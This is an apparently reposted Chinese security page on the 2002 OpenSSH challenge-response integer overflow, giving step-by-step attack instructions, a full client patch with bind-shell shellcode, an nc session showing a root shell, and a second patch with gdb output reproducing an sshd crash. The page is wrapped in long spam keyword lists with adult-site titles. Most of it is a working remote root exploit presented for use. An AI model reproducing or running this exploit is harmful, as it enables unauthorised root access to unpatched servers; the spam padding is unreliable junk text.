国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

OpenSSH 溢出攻擊方法
2005-11-25   

在OpenSSH 2.3.1p1到3.3版本中,關于挑戰反應處理代碼存在安全性缺陷。允許遠程入侵者以sshd(通常是root)進程的身份執行任意指令。
第一個缺陷是因為在挑戰反應認證過程中,OpenSSH在處理關于收到的響應次數的變量上存在整型溢出風險,如果挑戰反應設置為打開,并且系統使用SKEY或者BSD_AUTH認證選項,則允許攻擊者利用此缺陷遠程執行任意指令。這個漏洞已經被證實。
第二個缺陷牽涉到使用交互式鍵盤認證的PAM模塊, OpenSSH 2.3.1p1~3.3版本。OpenSSH在處理關于收到的響應次數的變量上存在緩沖溢出風險,不論挑戰反應設置如何,系統使用交互式鍵盤認證的PAM模塊(PAMAuthenticationViaKbdInt),可能會導致允許遠程非法執行指令的風險。目前尚未有代碼證實是否能達到攻擊效果。
對這兩個缺陷的攻擊,都建立在使用SSH ver2的版本特征上。
多個Linux/Unix平臺受該漏洞影響。
============================================================
攻擊方法:
1. 下載 openssh-3.2.2p1.tar.gz 并解壓
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. 執行提供的補丁: (將下方補丁文件存為path_to_diff_file)
~/openssh-3.2.2p1 $ patch < path_to_diff_file
3. 編譯已經打過補丁的OpenSSH客戶端:
~/openssh-3.2.2p1 $ ./configure && make ssh
4. 運行ssh:
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
5. 如果成功,則可連接128端口
~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
(除此之外,bugtraq.org提供了一個打過補丁的SSH攻擊客戶端:sshutup-theo.tar.gz)
===========補丁文件===============
--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);
- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
===========END 補丁文件===============
附加信息:
How to reproduce OpenSSH Overflow.
The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.
The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):
0.) Compile with PAM and S/KEY support.
1.) Apply the following patch to the ssh client:
- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);
num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */
2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.
3.) Connect to sshd using the modified client.
Note: valid credentials are not required.
On the server side, you'll see:
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Comments are much appreciated.
- Joe
相關站點:
http://www.kb.cert.org/vuls/id/369347

熱詞搜索:

上一篇:LINUX遠程管理工具SSH指南
下一篇:建設qmail服務器的病毒防護系統

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产精品久久999| 欧美日韩午夜在线| 在线看片第一页欧美| 国产私拍一区| 日韩午夜免费| 亚洲一区久久| 欧美在线日韩精品| 欧美国产第二页| 国产精品极品美女粉嫩高清在线| 黄色成人免费观看| 亚洲视频网在线直播| 欧美在线视频免费| 欧美日韩精品在线| 亚洲国产天堂久久综合| 性欧美暴力猛交69hd| 欧美区日韩区| 亚洲国产激情| 狂野欧美一区| 国产一区二区精品| 午夜精品视频| 国产精品久久久久影院亚瑟| 在线亚洲欧美视频| 国内精品久久久久久久果冻传媒| 亚洲经典一区| 久久九九热免费视频| 国产精品国产三级国产aⅴ入口 | 美女网站在线免费欧美精品| 国产精品欧美在线| 亚洲先锋成人| 欧美性猛交99久久久久99按摩| 亚洲国内高清视频| 欧美freesex交免费视频| 在线观看精品视频| 久久久一区二区三区| 国产一区二区三区自拍 | 狠狠色狠狠色综合| 久久久国产一区二区| 国产自产女人91一区在线观看| 一区二区三区高清在线| 久色成人在线| 黄色成人在线观看| 欧美一区二区私人影院日本| 国产午夜精品全部视频播放| 久久久精品欧美丰满| 国产专区一区| 美女91精品| 亚洲国产成人精品女人久久久 | 国产日韩欧美综合在线| 日韩一区二区久久| 国产精品成人一区二区网站软件 | 亚洲狠狠婷婷| 欧美性jizz18性欧美| 亚洲中午字幕| 精品成人久久| 欧美区在线观看| 先锋影音一区二区三区| 在线 亚洲欧美在线综合一区| 欧美国产大片| 欧美亚洲综合在线| 91久久亚洲| 国产精品日韩一区二区| 久久精品国产99精品国产亚洲性色| 在线观看不卡av| 欧美性猛交视频| 久久综合五月天婷婷伊人| 一本色道婷婷久久欧美| 国产一区二区三区四区| 欧美激情一区二区三区在线视频观看| 夜夜夜久久久| 亚洲福利免费| 国产乱码精品一区二区三区五月婷 | 久热精品视频在线观看| 99这里只有精品| 国产资源精品在线观看| 欧美精品自拍偷拍动漫精品| 久久成人精品| 亚洲免费人成在线视频观看| 亚洲丰满少妇videoshd| 国产欧美日韩不卡免费| 欧美日韩国产成人高清视频| 欧美一区二区日韩| 一本色道久久88综合亚洲精品ⅰ | 猫咪成人在线观看| 亚洲影视在线播放| 亚洲精品女人| 亚洲娇小video精品| 国产精品免费电影| 欧美日韩亚洲精品内裤| 国产精品视频一区二区三区| 美女诱惑黄网站一区| 欧美在线资源| 午夜视频一区在线观看| 一本大道久久a久久精二百| 亚洲国产经典视频| 国内一区二区三区在线视频| 国产精品一区免费视频| 欧美另类一区| 欧美激情综合在线| 葵司免费一区二区三区四区五区| 久久国产99| 久久精品综合网| 久久久www免费人成黑人精品 | 国产精品久久久| 欧美午夜视频一区二区| 欧美日韩成人精品| 欧美精选一区| 欧美午夜激情视频| 国产精品久久久久久妇女6080| 欧美日韩综合精品| 国产精品第2页| 国产乱码精品一区二区三区av| 国产精品综合久久久| 国产亚洲第一区| 在线电影院国产精品| 亚洲精品久久久久中文字幕欢迎你 | 国产精品午夜国产小视频| 欧美视频网站| 国产欧美精品国产国产专区| 国产在线视频欧美| 亚洲第一网站| 宅男噜噜噜66一区二区| 欧美亚洲免费在线| 蜜桃av一区二区在线观看| 欧美日韩高清在线观看| 国产日本亚洲高清| 亚洲国产精品热久久| 亚洲无限av看| 久久青草福利网站| 欧美三级特黄| 精品成人一区二区三区| 一本色道久久综合亚洲精品小说 | 一区二区不卡在线视频 午夜欧美不卡'| 夜夜嗨av一区二区三区四季av| 亚洲资源av| 久久久综合免费视频| 欧美日韩精品福利| 国产日韩欧美在线看| 亚洲黄色大片| 欧美亚洲免费高清在线观看| 免费成人在线视频网站| 国产精品久久久久久久久免费| 一区二区三区在线看| 99国产精品国产精品久久| 午夜国产不卡在线观看视频| 久久久91精品| 国产精品福利在线| 国产精品高潮呻吟久久av黑人| 国产精品视频不卡| 亚洲精品乱码久久久久久蜜桃麻豆 | 久久久久国色av免费看影院| 欧美全黄视频| 国产午夜精品视频| 亚洲人成啪啪网站| 欧美中文在线字幕| 欧美日韩1080p| 国产麻豆精品在线观看| 欲色影视综合吧| 一区二区三区精品视频| 欧美亚洲三区| 欧美日韩一区二区三| 亚洲电影毛片| 久久国产欧美日韩精品| 国产精品国产三级国产aⅴ入口| 一区在线观看| 午夜免费日韩视频| 欧美黄色一级视频| 好看的亚洲午夜视频在线| 亚洲一区欧美| 欧美日本网站| 日韩亚洲欧美中文三级| 久久亚洲精品欧美| 国产毛片一区二区| 亚洲淫性视频| 国产精品视频一| 欧美中文在线视频| 国产欧美一区二区视频| 性高湖久久久久久久久| 国产日产高清欧美一区二区三区| 亚洲欧美国产精品桃花| 欧美日韩在线播放一区二区| 一区二区三区高清不卡| 欧美日韩麻豆| 在线综合欧美| 欧美美女日韩| 亚洲美女av黄| 国产精品a久久久久久| 99伊人成综合| 欧美三日本三级三级在线播放| 亚洲卡通欧美制服中文| 欧美日韩国产精品一区| 亚洲天堂成人在线视频| 国产精品国产三级国产| 亚洲少妇诱惑| 国产精品久久久99| 久久国产欧美精品| 亚洲欧洲综合另类| 欧美大色视频| 亚洲一区亚洲| 伊人久久大香线蕉av超碰演员| 久久乐国产精品|